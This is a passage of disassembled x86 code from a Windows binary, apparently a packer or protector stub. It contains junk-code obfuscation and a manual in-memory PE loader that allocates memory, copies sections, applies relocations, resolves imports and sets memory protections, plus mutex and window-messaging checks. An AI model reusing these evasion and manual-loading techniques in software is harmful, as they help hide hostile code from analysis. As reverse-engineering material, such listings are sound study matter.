jz short loc_4B4ED6
jmp short loc_4B4F4D
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4B4F49: ; CODE XREF: .text:loc_4B4F4Dj
jmp short loc_4B4F5B
; ---------------------------------------------------------------------------
jz short loc_4B4F3C
loc_4B4F4D: ; CODE XREF: .text:004B4F46j
jnb short loc_4B4F49
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4B4F50: ; CODE XREF: .text:004B4F3Ej
sbb bl, bl
xor ebx, ebx
jmp short loc_4B4F40
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4B4F57: ; CODE XREF: .text:loc_4B4F38j
jmp short loc_4B4F3A
; ---------------------------------------------------------------------------
jmp short loc_4B4F38
; ---------------------------------------------------------------------------
loc_4B4F5B: ; CODE XREF: .text:loc_4B4F49j
repne sbb al, 0DBh
jmp short loc_4B4F63
; ---------------------------------------------------------------------------
loc_4B4F60: ; CODE XREF: .text:004B4F33j
jmp short near ptr loc_4B4F33+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4B4F63: ; CODE XREF: .text:004B4F5Ej
popa
popf
bswap eax
not ecx
bswap eax
not ecx
push 4
push 1000h
mov edx, [ebp-10h]
push edx
push 0
call dword_4ED070 ; VirtualAlloc
mov [ebp-20h], eax
loc_4B4F83: ; CODE XREF: .text:004B4EE8j
; .text:004B4F1Bj ...
cmp dword ptr [ebp-20h], 0
jnz short loc_4B4F9A
mov dword_4F4370, 2
xor eax, eax
jmp loc_4B528C
; ---------------------------------------------------------------------------
loc_4B4F9A: ; CODE XREF: .text:004B4F87j
mov eax, [ebp-28h]
mov ecx, [eax+3Ch]
push ecx
mov edx, [ebp-30h]
push edx
mov eax, [ebp-20h]
push eax
call _memcpy_1
add esp, 0Ch
jo short loc_4B4FBA
jl short loc_4B4FB8
loc_4B4FB5: ; CODE XREF: .text:loc_4B4FB8j
; .text:loc_4B4FBAj
jmp short loc_4B4FBC
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4B4FB8: ; CODE XREF: .text:004B4FB3j
jz short loc_4B4FB5
loc_4B4FBA: ; CODE XREF: .text:004B4FB1j
jmp short loc_4B4FB5
; ---------------------------------------------------------------------------
loc_4B4FBC: ; CODE XREF: .text:loc_4B4FB5j
mov ecx, [ebp-18h]
mov [ebp-0Ch], ecx
mov edx, [ebp-2Ch]
xor eax, eax
mov ax, [edx+2]
imul eax, 28h
mov ecx, [ebp-0Ch]
add ecx, eax
mov [ebp-14h], ecx
loc_4B4FD6: ; CODE XREF: .text:004B5030j
mov edx, [ebp-0Ch]
cmp edx, [ebp-14h]
jnb short loc_4B5032
pusha
xor eax, eax
jnz short loc_4B4FE5
jmp short loc_4B4FFA
; ---------------------------------------------------------------------------
loc_4B4FE5: ; CODE XREF: .text:004B4FE1j
jmp short loc_4B501A
; ---------------------------------------------------------------------------
db 0C0h
dd 0C7A1875h ; CODE XREF: .text:004B5059j
; ---------------------------------------------------------------------------
loc_4B4FEC: ; CODE XREF: .text:loc_4B4FFAj
jo short loc_4B4FFC
jmp short near ptr loc_4B4FFC+1
; ---------------------------------------------------------------------------
dd 790E72E8h, 15FFF1h
; ---------------------------------------------------------------------------
jns short loc_4B5003
loc_4B4FFA: ; CODE XREF: .text:004B4FE3j
jz short loc_4B4FEC
loc_4B4FFC: ; CODE XREF: .text:loc_4B4FECj
; .text:004B4FEEj
jmp short near ptr loc_4B4F83+2
; ---------------------------------------------------------------------------
dw 7ADBh
db 0F0h, 0A0h, 33h
; ---------------------------------------------------------------------------
loc_4B5003: ; CODE XREF: .text:004B4FF8j
popa
mov eax, [ebp-0Ch]
mov ecx, [eax+10h]
push ecx
mov edx, [ebp-0Ch]
mov eax, [ebp-30h]
add eax, [edx+14h]
push eax
mov ecx, [ebp-0Ch]
; ---------------------------------------------------------------------------
db 8Bh, 55h
; ---------------------------------------------------------------------------
loc_4B501A: ; CODE XREF: .text:loc_4B4FE5j
loopne loc_4B501F
push ecx
or al, 52h
loc_4B501F: ; CODE XREF: .text:loc_4B501Aj
call _memcpy_1
add esp, 0Ch
mov eax, [ebp-0Ch]
add eax, 28h
mov [ebp-0Ch], eax
jmp short loc_4B4FD6
; ---------------------------------------------------------------------------
loc_4B5032: ; CODE XREF: .text:004B4FDCj
mov ecx, [ebp-20h]
cmp ecx, [ebp-24h]
jz loc_4B5127
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4B5075 ; CODE XREF: .text:loc_4B5075j
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4B504D: ; CODE XREF: .text:004B506Ej
jmp short loc_4B506C
; ---------------------------------------------------------------------------
loc_4B504F: ; CODE XREF: .text:loc_4B506Cj
xor ecx, ecx
loc_4B5051: ; CODE XREF: .text:004B5060j
jz short $+2
jmp short loc_4B5065
; ---------------------------------------------------------------------------
loc_4B5055: ; CODE XREF: .text:004B5069j
stc
xor ecx, 3
jz short near ptr dword_4B4FE8+3
jmp short loc_4B5062
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4B505E: ; CODE XREF: .text:loc_4B5062j
jmp short loc_4B5070
; ---------------------------------------------------------------------------
jz short loc_4B5051
loc_4B5062: ; CODE XREF: .text:004B505Bj
jnb short loc_4B505E
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4B5065: ; CODE XREF: .text:004B5053j
sbb bl, bl
xor ebx, ebx
jmp short loc_4B5055
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4B506C: ; CODE XREF: .text:loc_4B504Dj
jmp short loc_4B504F
; ---------------------------------------------------------------------------
jmp short loc_4B504D
; ---------------------------------------------------------------------------
loc_4B5070: ; CODE XREF: .text:loc_4B505Ej
repne sbb al, 0DBh
jmp short loc_4B5078
; ---------------------------------------------------------------------------
loc_4B5075: ; CODE XREF: .text:004B5048j
jmp short near ptr loc_4B5048+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4B5078: ; CODE XREF: .text:004B5073j
popa
popf
bswap eax
not ecx
bswap eax
not ecx
mov edx, [ebp-28h]
mov eax, [ebp-20h]
add eax, [edx+88h]
mov [ebp-40h], eax
jo short loc_4B509A
jl short loc_4B5098
loc_4B5095: ; CODE XREF: .text:loc_4B5098j
; .text:loc_4B509Aj
jmp short loc_4B509C
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4B5098: ; CODE XREF: .text:004B5093j
jz short loc_4B5095
loc_4B509A: ; CODE XREF: .text:004B5091j
jmp short loc_4B5095
; ---------------------------------------------------------------------------
loc_4B509C: ; CODE XREF: .text:loc_4B5095j
mov ecx, [ebp-28h]
mov edx, [ecx+8Ch]
mov [ebp-3Ch], edx
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4B50CB
loc_4B50C8: ; CODE XREF: .text:004B50E9j
jmp short near ptr loc_4B50EB+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B50CB: ; CODE XREF: .text:004B50C6j
xor ebx, ebx
jz short $+2
jmp short loc_4B50DE
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4B50D4: ; CODE XREF: .text:004B50E0j
mov ecx, 34F9C987h
nop
stc
jz short loc_4B50E2
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B50DE: ; CODE XREF: .text:004B50CFj
xor eax, eax
jz short loc_4B50D4
loc_4B50E2: ; CODE XREF: .text:004B50DBj
mov eax, 4840C987h
test eax, eax
jnz short loc_4B50C8
loc_4B50EB: ; CODE XREF: .text:loc_4B50C8j
jmp near ptr 92B1EE51h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
mov eax, [ebp-3Ch]
push eax
mov ecx, [ebp-40h]
push ecx
mov edx, [ebp-24h]
push edx
mov eax, [ebp-20h]
push eax
call sub_4B5293
add esp, 10h
and eax, 0FFh
test eax, eax
jnz short loc_4B511C
xor eax, eax
jmp loc_4B528C
; ---------------------------------------------------------------------------
loc_4B511C: ; CODE XREF: .text:004B5113j
jo short loc_4B5125
jl short loc_4B5123
loc_4B5120: ; CODE XREF: .text:loc_4B5123j
; .text:loc_4B5125j
jmp short loc_4B5127
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4B5123: ; CODE XREF: .text:004B511Ej
jz short loc_4B5120
loc_4B5125: ; CODE XREF: .text:loc_4B511Cj
jmp short loc_4B5120
; ---------------------------------------------------------------------------
loc_4B5127: ; CODE XREF: .text:004B5038j
; .text:loc_4B5120j
mov ecx, [ebp-28h]
mov edx, [ecx+68h]
push edx
mov eax, [ebp-20h]
push eax
call sub_4B5417
add esp, 8
and eax, 0FFh
test eax, eax
jnz short loc_4B514A
xor eax, eax
jmp loc_4B528C
; ---------------------------------------------------------------------------
loc_4B514A: ; CODE XREF: .text:004B5141j
mov ecx, [ebp-18h]
mov [ebp-0Ch], ecx
loc_4B5150: ; CODE XREF: .text:004B525Aj
mov edx, [ebp-0Ch]
cmp edx, [ebp-14h]
jnb loc_4B525F
mov eax, [ebp-0Ch]
mov ecx, [eax+24h]
mov [ebp-50h], ecx
mov byte ptr [ebp-58h], 0
mov byte ptr [ebp-54h], 0
mov byte ptr [ebp-4Ch], 0
mov edx, [ebp-50h]
and edx, 20000020h
test edx, edx
jz short loc_4B5182
mov byte ptr [ebp-4Ch], 1
loc_4B5182: ; CODE XREF: .text:004B517Cj
mov eax, [ebp-50h]
and eax, 40000000h
test eax, eax
jz short loc_4B5192
mov byte ptr [ebp-58h], 1
loc_4B5192: ; CODE XREF: .text:004B518Cj
mov ecx, [ebp-50h]
and ecx, 80000000h
test ecx, ecx
jz short loc_4B51A3
mov byte ptr [ebp-54h], 1
loc_4B51A3: ; CODE XREF: .text:004B519Dj
mov dword ptr [ebp-44h], 1
mov edx, [ebp-4Ch]
and edx, 0FFh
test edx, edx
jz short loc_4B51EB
mov eax, [ebp-54h]
and eax, 0FFh
test eax, eax
jz short loc_4B51CC
mov dword ptr [ebp-44h], 40h
jmp short loc_4B51E9
; ---------------------------------------------------------------------------
loc_4B51CC: ; CODE XREF: .text:004B51C1j
mov ecx, [ebp-58h]
and ecx, 0FFh
test ecx, ecx
jz short loc_4B51E2
mov dword ptr [ebp-44h], 20h
jmp short loc_4B51E9
; ---------------------------------------------------------------------------
loc_4B51E2: ; CODE XREF: .text:004B51D7j
mov dword ptr [ebp-44h], 10h
loc_4B51E9: ; CODE XREF: .text:004B51CAj
; .text:004B51E0j
jmp short loc_4B5214
; ---------------------------------------------------------------------------
loc_4B51EB: ; CODE XREF: .text:004B51B5j
mov edx, [ebp-58h]
and edx, 0FFh
test edx, edx
jz short loc_4B5214
mov eax, [ebp-54h]
and eax, 0FFh
test eax, eax
jz short loc_4B520D
mov dword ptr [ebp-44h], 4
jmp short loc_4B5214
; ---------------------------------------------------------------------------
loc_4B520D: ; CODE XREF: .text:004B5202j
mov dword ptr [ebp-44h], 2
loc_4B5214: ; CODE XREF: .text:loc_4B51E9j
; .text:004B51F6j ...
mov ecx, [ebp-0Ch]
mov edx, [ebp-20h]
add edx, [ecx+0Ch]
mov [ebp-60h], edx
mov eax, [ebp-0Ch]
mov ecx, [eax+8]
mov [ebp-48h], ecx
lea edx, [ebp-5Ch]
push edx
mov eax, [ebp-44h]
push eax
mov ecx, [ebp-48h]
push ecx
mov edx, [ebp-60h]
push edx
call dword_4ED06C ; VirtualProtect
test eax, eax
jnz short loc_4B5251
mov dword_4F4370, 4
xor eax, eax
jmp short loc_4B528C
; ---------------------------------------------------------------------------
loc_4B5251: ; CODE XREF: .text:004B5241j
mov eax, [ebp-0Ch]
add eax, 28h
mov [ebp-0Ch], eax
jmp loc_4B5150
; ---------------------------------------------------------------------------
loc_4B525F: ; CODE XREF: .text:004B5156j
mov ecx, [ebp-28h]
mov edx, [ebp-20h]
add edx, [ecx+10h]
mov dword_4F4368, edx
mov eax, [ebp-30h]
mov [ebp-68h], eax
mov ecx, [ebp-68h]
push ecx
call sub_4C85D6
add esp, 4
mov edx, [ebp-20h]
mov dword_4F4364, edx
mov eax, [ebp+8]
loc_4B528C: ; CODE XREF: .text:004B4DE2j
; .text:004B4F95j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B5293 proc near ; CODE XREF: .text:004B5104p
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 30h
mov eax, [ebp+arg_8]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
add ecx, [ebp+arg_C]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
sub edx, [ebp+arg_4]
mov [ebp+var_4], edx
cmp [ebp+var_4], 0
jz loc_4B5411
loc_4B52BB: ; CODE XREF: sub_4B5293:loc_4B540Cj
mov eax, [ebp+var_8]
cmp eax, [ebp+var_C]
jnb loc_4B5411
mov ecx, [ebp+var_8]
mov edx, [ecx]
mov [ebp+var_1C], edx
mov eax, [ebp+var_8]
mov ecx, [eax+4]
mov [ebp+var_10], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_10]
mov [ebp+var_14], edx
mov eax, [ebp+var_14]
cmp eax, [ebp+var_C]
jbe short loc_4B52EF
mov ecx, [ebp+var_C]
mov [ebp+var_14], ecx
loc_4B52EF: ; CODE XREF: sub_4B5293+54j
mov edx, [ebp+var_8]
add edx, 8
mov [ebp+var_8], edx
mov eax, [ebp+var_1C]
add eax, [ebp+arg_0]
mov [ebp+var_18], eax
loc_4B5301: ; CODE XREF: sub_4B5293:loc_4B5407j
mov ecx, [ebp+var_8]
cmp ecx, [ebp+var_14]
jnb loc_4B540C
mov edx, [ebp+var_8]
mov ax, [edx]
mov word ptr [ebp+var_28], ax
mov ecx, [ebp+var_8]
add ecx, 2
mov [ebp+var_8], ecx
mov edx, [ebp+var_28]
and edx, 0FFFFh
and edx, 0F000h
sar edx, 0Ch
mov word ptr [ebp+var_20], dx
mov eax, [ebp+var_28]
and eax, 0FFFFh
and eax, 0FFFh
mov word ptr [ebp+var_24], ax
mov ecx, [ebp+var_20]
and ecx, 0FFFFh
cmp ecx, 1
jnz short loc_4B5388
mov edx, [ebp+var_24]
and edx, 0FFFFh
mov eax, [ebp+var_18]
add eax, edx
mov [ebp+var_2C], eax
mov ecx, [ebp+var_2C]
xor edx, edx
mov dx, [ecx]
mov eax, [ebp+var_4]
and eax, 0FF00h
shr eax, 10h
and eax, 0FFFFh
add edx, eax
mov ecx, [ebp+var_2C]
mov [ecx], dx
jmp short loc_4B5407
; ---------------------------------------------------------------------------
loc_4B5388: ; CODE XREF: sub_4B5293+C0j
mov edx, [ebp+var_20]
and edx, 0FFFFh
cmp edx, 2
jnz short loc_4B53C7
mov eax, [ebp+var_24]
and eax, 0FFFFh
mov ecx, [ebp+var_18]
add ecx, eax
mov [ebp+var_30], ecx
mov edx, [ebp+var_30]
xor eax, eax
mov ax, [edx]
mov ecx, [ebp+var_4]
and ecx, 0FFh
and ecx, 0FFFFh
add eax, ecx
mov edx, [ebp+var_30]
mov [edx], ax
jmp short loc_4B5407
; ---------------------------------------------------------------------------
loc_4B53C7: ; CODE XREF: sub_4B5293+101j
mov eax, [ebp+var_20]
and eax, 0FFFFh
cmp eax, 3
jnz short loc_4B53F7
mov ecx, [ebp+var_24]
and ecx, 0FFFFh
mov edx, [ebp+var_18]
mov eax, [edx+ecx]
add eax, [ebp+var_4]
mov ecx, [ebp+var_24]
and ecx, 0FFFFh
mov edx, [ebp+var_18]
mov [edx+ecx], eax
jmp short loc_4B5407
; ---------------------------------------------------------------------------
loc_4B53F7: ; CODE XREF: sub_4B5293+13Fj
mov eax, [ebp+var_20]
and eax, 0FFFFh
test eax, eax
jz short loc_4B5407
xor al, al
jmp short loc_4B5413
; ---------------------------------------------------------------------------
loc_4B5407: ; CODE XREF: sub_4B5293+F3j
; sub_4B5293+132j ...
jmp loc_4B5301
; ---------------------------------------------------------------------------
loc_4B540C: ; CODE XREF: sub_4B5293+74j
jmp loc_4B52BB
; ---------------------------------------------------------------------------
loc_4B5411: ; CODE XREF: sub_4B5293+22j
; sub_4B5293+2Ej
mov al, 1
loc_4B5413: ; CODE XREF: sub_4B5293+172j
mov esp, ebp
pop ebp
retn
sub_4B5293 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B5417 proc near ; CODE XREF: .text:004B5132p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
mov [ebp+var_8], 80000000h
cmp [ebp+arg_4], 0
jnz short loc_4B5431
mov al, 1
jmp loc_4B55AC
; ---------------------------------------------------------------------------
loc_4B5431: ; CODE XREF: sub_4B5417+11j
mov eax, [ebp+arg_4]
add eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_4B543A: ; CODE XREF: sub_4B5417+18Ej
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+0Ch], 0
jz loc_4B55AA
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
add eax, [ebp+arg_0]
mov [ebp+var_18], eax
mov ecx, [ebp+var_4]
mov edx, [ecx]
add edx, [ebp+arg_0]
mov [ebp+var_10], edx
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
add ecx, [ebp+arg_0]
mov [ebp+var_14], ecx
push 0
call dword_4ED080 ; RtlRestoreLastWin32Error
mov edx, [ebp+var_18]
push edx
call dword_4ED07C ; LoadLibraryA
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_4B54B3
mov dword_4F4370, 3
call dword_4ED078 ; RtlGetLastWin32Error
push eax
mov eax, [ebp+var_18]
push eax
push offset aFileSErrorD ; "File \"%s\", error %d"
push offset byte_4F4374 ; Dest
call _sprintf_0
add esp, 10h
xor al, al
jmp loc_4B55AC
; ---------------------------------------------------------------------------
loc_4B54B3: ; CODE XREF: sub_4B5417+6Cj
; sub_4B5417+180j
mov ecx, [ebp+var_10]
cmp dword ptr [ecx], 0
jz loc_4B559C
mov [ebp+var_1C], 0
mov edx, [ebp+var_10]
mov eax, [edx]
and eax, 80000000h
test eax, eax
jz short loc_4B552F
mov ecx, [ebp+var_10]
mov edx, [ecx]
and edx, 0FFFFh
mov word ptr [ebp+var_20], dx
mov eax, [ebp+var_20]
and eax, 0FFFFh
push eax
mov ecx, [ebp+var_C]
push ecx
call dword_4ED074 ; GetProcAddress
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_4B552D
mov dword_4F4370, 3
mov edx, [ebp+var_20]
and edx, 0FFFFh
push edx
mov eax, [ebp+var_18]
push eax
push offset aFileSOrdinalD ; "File \"%s\", ordinal %d"
push offset byte_4F4374 ; Dest
call _sprintf_0
add esp, 10h
xor al, al
jmp short loc_4B55AC
; ---------------------------------------------------------------------------
loc_4B552D: ; CODE XREF: sub_4B5417+E6j
jmp short loc_4B557D
; ---------------------------------------------------------------------------
loc_4B552F: ; CODE XREF: sub_4B5417+BBj
mov ecx, [ebp+var_10]
mov edx, [ecx]
mov eax, [ebp+arg_0]
lea ecx, [edx+eax+2]
mov [ebp+var_24], ecx
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+var_C]
push eax
call dword_4ED074 ; GetProcAddress
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_4B557D
mov dword_4F4370, 3
mov ecx, [ebp+var_24]
push ecx
mov edx, [ebp+var_18]
push edx
push offset aFileSFunctionS ; "File \"%s\", function \"%s\""
push offset byte_4F4374 ; Dest
call _sprintf_0
add esp, 10h
xor al, al
jmp short loc_4B55AC
; ---------------------------------------------------------------------------
loc_4B557D: ; CODE XREF: sub_4B5417:loc_4B552Dj
; sub_4B5417+13Cj
mov eax, [ebp+var_14]
mov ecx, [ebp+var_1C]
mov [eax], ecx
mov edx, [ebp+var_14]
add edx, 4
mov [ebp+var_14], edx
mov eax, [ebp+var_10]
add eax, 4
mov [ebp+var_10], eax
jmp loc_4B54B3
; ---------------------------------------------------------------------------
loc_4B559C: ; CODE XREF: sub_4B5417+A2j
mov ecx, [ebp+var_4]
add ecx, 14h
mov [ebp+var_4], ecx
jmp loc_4B543A
; ---------------------------------------------------------------------------
loc_4B55AA: ; CODE XREF: sub_4B5417+2Aj
mov al, 1
loc_4B55AC: ; CODE XREF: sub_4B5417+15j
; sub_4B5417+97j ...
mov esp, ebp
pop ebp
retn
sub_4B5417 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B55B0 proc near ; CODE XREF: sub_4B45FB+129p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 28h
mov eax, [ebp+arg_0]
mov [ebp+var_1C], eax
mov ecx, [ebp+var_1C]
mov [ebp+var_18], ecx
mov edx, [ebp+var_18]
mov eax, [ebp+var_1C]
add eax, [edx+3Ch]
mov [ebp+var_24], eax
mov ecx, [ebp+var_24]
add ecx, 0F8h
mov [ebp+var_14], ecx
mov edx, [ebp+var_24]
mov eax, [ebp+var_1C]
add eax, [edx+78h]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+var_1C]
add edx, [ecx+20h]
mov [ebp+var_10], edx
mov eax, [ebp+var_8]
mov ecx, [ebp+var_1C]
add ecx, [eax+24h]
mov [ebp+var_20], ecx
mov edx, [ebp+var_8]
mov eax, [ebp+var_1C]
add eax, [edx+1Ch]
mov [ebp+var_4], eax
mov [ebp+var_C], 0
jmp short loc_4B561C
; ---------------------------------------------------------------------------
loc_4B5613: ; CODE XREF: sub_4B55B0:loc_4B5663j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_4B561C: ; CODE XREF: sub_4B55B0+61j
mov edx, [ebp+var_8]
mov eax, [ebp+var_C]
cmp eax, [edx+18h]
jnb short loc_4B5665
mov ecx, [ebp+var_C]
mov edx, [ebp+var_10]
mov eax, [ebp+var_1C]
add eax, [edx+ecx*4]
mov [ebp+var_28], eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+var_28]
push edx
call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
add esp, 8
test eax, eax
jnz short loc_4B5663
mov eax, [ebp+var_C]
mov ecx, [ebp+var_20]
xor edx, edx
mov dx, [ecx+eax*2]
mov eax, [ebp+var_4]
mov ecx, [ebp+var_1C]
add ecx, [eax+edx*4]
mov eax, ecx
jmp short loc_4B5667
; ---------------------------------------------------------------------------
loc_4B5663: ; CODE XREF: sub_4B55B0+98j
jmp short loc_4B5613
; ---------------------------------------------------------------------------
loc_4B5665: ; CODE XREF: sub_4B55B0+75j
xor eax, eax
loc_4B5667: ; CODE XREF: sub_4B55B0+B1j
mov esp, ebp
pop ebp
retn
sub_4B55B0 endp
; ---------------------------------------------------------------------------
loc_4B566B: ; CODE XREF: sub_4B5E84+3p
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4F1EF0
push offset unknown_libname_18 ; Microsoft VisualC 2-8/net runtime
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFF8C4h
push ebx
push esi
push edi
mov [ebp-18h], esp
mov byte ptr [ebp-24h], 1
mov eax, dword_4ED02C
mov [ebp-20h], eax
mov ecx, [ebp-20h]
add ecx, 1
mov [ebp-20h], ecx
mov edx, dword_4ED218
mov [ebp-20h], edx
mov eax, [ebp-20h]
add eax, 1
mov [ebp-20h], eax
mov ecx, dword_4ED21C
mov [ebp-20h], ecx
mov edx, [ebp-20h]
add edx, 1
mov [ebp-20h], edx
push offset sub_4B45CC
call sub_4C935C
add esp, 4
mov eax, dword_4ED3E4
xor eax, dword_4ED420
push eax
call dword_4ED1B8 ; GetCurrentProcessId
push eax
push offset aXDa08x ; "%X::DA%08X"
lea ecx, [ebp-128h]
push ecx
call _sprintf_0
add esp, 10h
lea edx, [ebp-128h]
push edx
push 0
push 1F0001h
call dword_4ED0A8 ; OpenMutexA
test eax, eax
jz short loc_4B571D
mov byte ptr [ebp-24h], 0
loc_4B571D: ; CODE XREF: .text:004B5717j
mov eax, [ebp-24h]
and eax, 0FFh
test eax, eax
jz loc_4B58C4
mov ecx, dword_4ED3B0
xor ecx, dword_4ED3FC
xor ecx, dword_4ED3F0
and ecx, 20h
test ecx, ecx
jz loc_4B58C4
mov edx, dword_4ED3A8
xor edx, dword_4ED418
xor edx, dword_4ED3E4
push edx
push offset aRn08x ; "RN%08X"
lea eax, [ebp-128h]
push eax
call _sprintf_0
add esp, 0Ch
lea ecx, [ebp-128h]
push ecx
push 0
push 0
call dword_4ED0A4 ; CreateMutexA
mov [ebp-12Ch], eax
cmp dword ptr [ebp-12Ch], 0
jz loc_4B58C4
call dword_4ED078 ; RtlGetLastWin32Error
cmp eax, 0B7h
jnz loc_4B58C4
push 7530h
mov edx, [ebp-12Ch]
push edx
call dword_4ED0A0 ; WaitForSingleObject
mov [ebp-130h], eax
cmp dword ptr [ebp-130h], 0
jz short loc_4B57D7
cmp dword ptr [ebp-130h], 80h
jnz loc_4B58BA
loc_4B57D7: ; CODE XREF: .text:004B57C5j
mov eax, dword_4ED3A8
xor eax, dword_4ED418
xor eax, dword_4ED3E4
push eax
push offset a08x ; "%08X"
lea ecx, [ebp-128h]
push ecx
call _sprintf_0
add esp, 0Ch
mov dword ptr [ebp-138h], 0
jmp short loc_4B5818
; ---------------------------------------------------------------------------
loc_4B5809: ; CODE XREF: .text:004B584Fj
mov edx, [ebp-138h]
add edx, 1
mov [ebp-138h], edx
loc_4B5818: ; CODE XREF: .text:004B5807j
cmp dword ptr [ebp-138h], 12Ch
jge short loc_4B5851
lea eax, [ebp-128h]
push eax
push offset aMainclass ; "MainClass"
call dword_4ED220 ; FindWindowA
mov [ebp-134h], eax
cmp dword ptr [ebp-134h], 0
jz short loc_4B5847
jmp short loc_4B5851
; ---------------------------------------------------------------------------
loc_4B5847: ; CODE XREF: .text:004B5843j
push 64h
call dword_4ED1A4 ; Sleep
jmp short loc_4B5809
; ---------------------------------------------------------------------------
loc_4B5851: ; CODE XREF: .text:004B5822j
; .text:004B5845j
cmp dword ptr [ebp-134h], 0
jz short loc_4B58AD
mov ecx, dword_4ED3A8
xor ecx, dword_4ED418
xor ecx, dword_4ED3E4
mov [ebp-144h], ecx
mov edx, dword_4F4138
push edx
call _strlen_0
add esp, 4
add eax, 1
mov [ebp-140h], eax
mov eax, dword_4F4138
mov [ebp-13Ch], eax
lea ecx, [ebp-144h]
push ecx
push 0
push 4Ah
mov edx, [ebp-134h]
push edx
call dword_4ED25C ; SendMessageA
loc_4B58AD: ; CODE XREF: .text:004B5858j
mov eax, [ebp-12Ch]
push eax
call dword_4ED09C ; ReleaseMutex
loc_4B58BA: ; CODE XREF: .text:004B57D1j
mov eax, 1
jmp loc_4B5E24
; ---------------------------------------------------------------------------
loc_4B58C4: ; CODE XREF: .text:004B5727j
; .text:004B5744j ...
push 1
call sub_4B5E35
add esp, 4
mov ecx, [ebp-24h]
and ecx, 0FFh
test ecx, ecx
jz loc_4B5ABF
mov edx, dword_4ED3B0
xor edx, dword_4ED3FC
xor edx, dword_4ED3F0
and edx, 40h
test edx, edx
jnz loc_4B5ABF
push 200h
lea eax, [ebp-344h]
push eax
push offset a_pad64 ; "_PAD64"
call dword_4ED068 ; GetEnvironmentVariableA
test eax, eax
jnz loc_4B5ABF
push 0C8h
push 23h
lea ecx, [ebp-344h]
push ecx
call _memset_0
add esp, 0Ch
mov byte ptr [ebp-27Ch], 0
mov dword ptr [ebp-448h], 1
jmp short loc_4B5953
; ---------------------------------------------------------------------------
loc_4B5944: ; CODE XREF: .text:004B598Bj
mov edx, [ebp-448h]
add edx, 1
mov [ebp-448h], edx
loc_4B5953: ; CODE XREF: .text:004B5942j
cmp dword ptr [ebp-448h], 40h
jg short loc_4B598D
mov eax, [ebp-448h]
push eax
push offset a_padD ; "_PAD%d"
lea ecx, [ebp-444h]
push ecx
call _sprintf_0
add esp, 0Ch
lea edx, [ebp-344h]
push edx
lea eax, [ebp-444h]
push eax
call dword_4ED098 ; SetEnvironmentVariableA
jmp short loc_4B5944
; ---------------------------------------------------------------------------
loc_4B598D: ; CODE XREF: .text:004B595Aj
mov ecx, dword_4ED3B0
xor ecx, dword_4ED3FC
xor ecx, dword_4ED3F0
and ecx, 10h
test ecx, ecx
